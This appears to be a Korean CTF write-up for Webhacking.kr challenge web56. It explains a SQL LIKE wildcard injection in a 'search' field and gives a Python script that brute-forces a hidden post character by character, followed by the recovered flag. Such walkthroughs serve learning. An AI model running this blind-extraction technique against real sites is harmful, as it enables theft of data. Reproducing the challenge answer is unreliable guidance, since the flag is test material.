Webhacking.kr - web56
web56
1
2
3
4
parameter는 GET으로는 ?read=admin 또는 guest
POST로는 search가 있음.
search는 subject안에 있는 내용 즉, ?read=admin 또는 guest의 내용을 검색하는 듯함.
Solution
1
2
3
4
5
6
7
8
9
10
코드를 짜고 실행해보니 search가 쿼리로 전송될 때 like 함수의 검색 값에 들어가는 것을 알게됨.
왜냐면 search 값에 '%', '_' 를 넣어놨었는데 '%' 때문에 알게됨.
즉, search 값이 있을 때 ~ subject like '{$_POST['search']}%' 인 쿼리를 전송하도록 되어있는 듯함.
여기서 주의점은 만약 flag에 '%'나 '_'가 들어가 있다면?
코드를 다시 돌렸는데 flag{himiko\ 에서 걸려서 확인해보니 비밀번호에 _가 들어가 있어서 그랬음.
따라서 '\'에서 걸린다면 '\'를 '_'로 변경해주면 됨.
마지막 값까지 다 나오고 난 뒤에는 }를 붙여주면 됨.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import string
url='https://webhacking.kr/challenge/web-33/index.php/'
headers={'Content-Type': 'application/x-www-form-urlencoded'}
cookies={'PHPSESSID' : 's6buojpqkfkkuh0iffhef7aioj'}
flag='FLAG{'
text=string.ascii_lowercase+string.digits+'!#$&()*+,-./:;<=>?@[\]^`{|}~'
for i in range(1, 100):
for j in text:
payload={'search':flag+j+'_'}
res=requests.post(url, data=payload, headers=headers, cookies=cookies)
print('payload :',flag+j)
if "<td>admin</td>" in res.text:
if(j == '\\'):
j='_'
flag+=j
print("flag:",flag)
break
1
flag : FLAG{himiko_toga_is_cute_dont_you_think_so?}
This post is licensed under CC BY 4.0 by the author.